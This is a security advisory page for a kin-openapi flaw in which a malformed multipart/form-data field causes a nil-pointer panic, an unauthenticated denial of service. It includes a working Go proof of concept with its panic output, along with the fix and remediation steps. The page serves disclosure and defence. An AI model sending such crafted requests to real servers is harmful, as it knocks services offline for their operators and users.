CVE-2026-76905: kin-openapi openai3filter: nil-pointer panic in ConvertErrors on malformed multipart/form-data body enables unauthenticated DoS

Published Aug 21, 2026
·
Updated

Summary

A nil-pointer dereference in openapi3filter.ConvertErrors lets any unauthenticated client crash a server with a single HTTP request. When an application validates a multipart/form-data request body and renders the resulting validation error through the library-provided ValidationErrorEncoder / ConvertErrors helpers, a malformed scalar form field (e.g. a non-numeric value for an integer property) produces an error shape that convertParseError dereferences without a nil check. The handler goroutine panics, causing a denial of service. application/json request bodies are not affected — the bug is specific to multipart/form-data.

Details

The panic is in convertParseError, at openapi3filter/validationerrorencoder.go:119-120 (still present on master at the time of writing):

go } else if innerErr.RootCause() != nil { if rootErr, ok := innerErr.Cause.(ParseError); ok && rootErr.Kind == KindInvalidFormat && e.Parameter.In == "query" { // ❌ e.Parameter may be nil → panic

The comparison e.Parameter.In == "query" assumes e.Parameter is non-nil. It is reached whenever both of the following hold:

1. e.Parameter == nil. A RequestError carries either Parameter (parameter errors) or RequestBody (body errors), never both. ValidateRequestBody builds body errors with only RequestBody set, leaving Parameter nil — see validaterequest.go:326-332. 2. innerErr.Cause is itself a ParseError (a ParseError nested inside a ParseError), so the type assertion on line 119 succeeds and execution reaches the e.Parameter.In dereference on line 120.

The only default code path that satisfies both conditions is the multipart body decoder, which wraps a failed part's ParseError inside another ParseError at reqrespdecoder.go:1549 and :1558:

go if v, ok := err.(ParseError); ok { return nil, &ParseError{path: []any{name}, Cause: v} // v is a ParseError → nested }

Why other paths do not reach the dereference:

| Body content type | Failure mode | RequestError.Err shape | .Cause is ParseError? | e.Parameter | Panics? | |---|---|---|---|---|---| | multipart/form-data | scalar part fails primitive parse (age=notanumber) | ParseError wrapping a ParseError | yes | nil | YES | | application/json | malformed JSON syntax | ParseError whose .Cause is an encoding/json error | no (assertion fails → safe fallback branch) | nil | no | | application/json | wrong type / schema violation | openapi3.SchemaError (routed to convertSchemaError, never reaches convertParseError) | n/a | nil | no | | styled query / path params | invalid format | ParseError wrapping a ParseError | yes | set (non-nil) | no (guard/assignment succeeds) |

Note that the sibling "path" branch two lines above (line 108) already guards correctly with e.Parameter != nil; the "query" branch simply omits the same guard.

Recommended fix. Add the missing nil guard to the condition:

diff if rootErr, ok := innerErr.Cause.(ParseError); ok && - rootErr.Kind == KindInvalidFormat && e.Parameter.In == "query" { + rootErr.Kind == KindInvalidFormat && e.Parameter != nil && e.Parameter.In == "query" {

When e.Parameter == nil the inner if is skipped and control falls through to the existing return &ValidationError{Status: http.StatusBadRequest, Title: innerErr.Reason} at line 127-130 — a correct 400 Bad Request. I verified that applying only this one-line guard stops the panic and returns ValidationError{Status: 400}.

Minor follow-up worth including in the same change: for the multipart nested ParseError, the outer ParseError.Reason is empty, so the fallback Title: innerErr.Reason yields a 400 with an empty Title. The descriptive text lives in innerErr.Error() (e.g. "path age: value notanumber: an invalid integer: invalid syntax"). Prefer a non-empty fallback:

go title := innerErr.Reason if title == "" { title = innerErr.Error() } return &ValidationError{Status: http.StatusBadRequest, Title: title}

PoC

Verified against revision 98d956447b64eaa10d3570a80b3be1a2849945f1 (also reproducible on current master), Go 1.25.0.

1. Spec — one operation accepting a multipart/form-data body with a non-string scalar (integer) property:

yaml openapi: '3.0.3' info: {title: t, version: '1.0.0'} paths: /upload: post: requestBody: required: true content: multipart/form-data: schema: type: object properties: age: {type: integer} responses: '200': {description: ok}

2. Program — validate a request whose age part is non-numeric, then convert the error the way a typical error-rendering middleware does:

go package main

import ( "bytes" "context" "fmt" "mime/multipart" "net/http"

"github.com/getkin/kin-openapi/openapi3" "github.com/getkin/kin-openapi/openapi3filter" "github.com/getkin/kin-openapi/routers/gorillamux" )

const spec = openapi: '3.0.3' info: {title: t, version: '1.0.0'} paths: /upload: post: requestBody: required: true content: multipart/form-data: schema: type: object properties: age: {type: integer} responses: '200': {description: ok}

func main() { loader := openapi3.NewLoader() doc, := loader.LoadFromData([]byte(spec)) = doc.Validate(loader.Context) router, := gorillamux.NewRouter(doc)

// multipart body: a non-numeric value for the integer property "age" var buf bytes.Buffer w := multipart.NewWriter(&buf) = w.WriteField("age", "notanumber") w.Close()

r, := http.NewRequest(http.MethodPost, "/upload", &buf) r.Header.Set("Content-Type", w.FormDataContentType()) route, pp, := router.FindRoute(r)

reqErr := openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{ Request: r, PathParams: pp, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) fmt.Printf("ValidateRequest returned: %T\n", reqErr) // openapi3filter.RequestError

// What an application's error-rendering middleware calls: = openapi3filter.ConvertErrors(reqErr) // panics fmt.Println("no panic (unexpected)") }

3. Observed output (go run .):

ValidateRequest returned: openapi3filter.RequestError panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x2 addr=0x20 pc=0x...]

goroutine 1 [running]: github.com/getkin/kin-openapi/openapi3filter.convertParseError(...) .../openapi3filter/validationerrorencoder.go:120 +0x17c github.com/getkin/kin-openapi/openapi3filter.ConvertErrors(...) .../openapi3filter/validationerrorencoder.go:42 +0xec main.main() ... exit status 2

The panic is at exactly validationerrorencoder.go:120 — the unguarded e.Parameter.In dereference.

Control (confirms JSON is not a vector): repeating the setup with an application/json body and either a malformed body ({"age": ) or a wrong-type body ({"age": "notanumber"}) returns from ConvertErrors normally, with no panic. Only the multipart/form-data path crashes.

In a real HTTP server, ConvertErrors / ValidationErrorEncoder.Encode runs inside the request handler, so the panic aborts the in-flight request (connection reset / 500) and, without a recover() in the middleware chain, is trivially repeatable.

Impact

- Type: Nil-pointer dereference → unauthenticated remote denial of service. - Who is impacted: any application using github.com/getkin/kin-openapi/openapi3filter that (1) exposes an endpoint accepting a multipart/form-data request body with at least one non-string scalar property (integer / number / boolean), and (2) renders validation errors through the library's own ValidationErrorEncoder or ConvertErrors helpers. These are the library's advertised error-rendering helpers, so this is a realistic default integration. - Attack: a single crafted, unauthenticated request (a multipart part whose value doesn't parse to the declared scalar type). No credentials, special privileges, or unusual client capabilities are required, and it is repeatable at will. - Consequence: the handling goroutine panics. Absent a recover() boundary in the application's middleware, the request is aborted; sustained requests deny service. Confidentiality and integrity are not affected. - Not affected: applications that only accept application/json bodies (verified above), applications that do not use ConvertErrors / ValidationErrorEncoder to format errors, or applications that wrap handlers in a recover() (which converts the crash into a handled 500 but still prevents normal error rendering).

Other sources

kin-openapi is a Go project for handling OpenAPI files. From 0.10.0 until 0.141.0, openapi3filter.convertParseError in openapi3filter/validationerrorencoder.go dereferences e.Parameter.In without checking whether e.Parameter is nil. A malformed non-string scalar field in a multipart/form-data request body produces a nested ParseError with a nil RequestError.Parameter, and applications that render the validation error through openapi3filter.ConvertErrors or ValidationErrorEncoder panic. An unauthenticated client can repeatedly send such requests to deny service when the application lacks a recovery boundary. JSON request bodies and applications that do not use these error-rendering helpers are not affected. This issue is fixed in version 0.141.0.

MITRE

Affected Software

2 affected componentsFixes available
kin-openapi/openapi3filter>0.10.0<0.141.0
go/github.com/getkin/kin-openapi>=0.10.0<0.141.0
0.141.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/getkin/kin-openapi to a version that resolves this vulnerability.

    Fixed in 0.141.0
  2. Upgrade

    Upgrade github.com/getkin/kin-openapi/openapi3filter to a version that resolves this vulnerability.

    Fixed in 0.141.0
  3. Configuration

    In openapi3filter/validation_error_encoder.go, update the query-branch condition so it checks `e.Parameter != nil` before evaluating `e.Parameter.In == "query"` (the fix described is adding the missing nil guard `e.Parameter != nil`).

    github.com/getkin/kin-openapi/openapi3filter (validation_error_encoder.go) e.Parameter nil guard for KindInvalidFormat query branch = Add condition e.Parameter != nil before dereferencing e.Parameter.In

Event History

Aug 21, 2026
CVE Published
via MITRE·08:43 PM
Data Sourced
via MITRE·08:43 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·08:55 PM
Data Sourced
via GitHub·08:55 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which applications are exposed to this denial of service?

Applications using kin-openapi's openapi3filter that validate multipart/form-data request bodies and pass validation errors to the library-provided ValidationErrorEncoder or ConvertErrors helpers are exposed. JSON request bodies are not affected.

2

What does an attacker need to trigger the panic?

An unauthenticated attacker only needs to send a single malformed multipart/form-data request that causes a scalar field parse error, such as a non-numeric value for an integer property. No privileges or user interaction are required.

3

How can I determine whether my service is affected?

Review whether your request-validation path handles multipart/form-data and invokes ValidationErrorEncoder or ConvertErrors after validation failures. A malformed scalar multipart field that produces a ParseError can trigger the nil-pointer panic when the error is converted.

4

What should be done to remediate the issue?

Update to the release containing commit 1d0a337c9b1570fab283be8a04c8af6e43b9a22c, which is referenced by the advisory and v0.141.0 release. If updating cannot happen immediately, avoid routing multipart/form-data validation errors through ValidationErrorEncoder or ConvertErrors, or reject multipart/form-data requests where it is not required.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203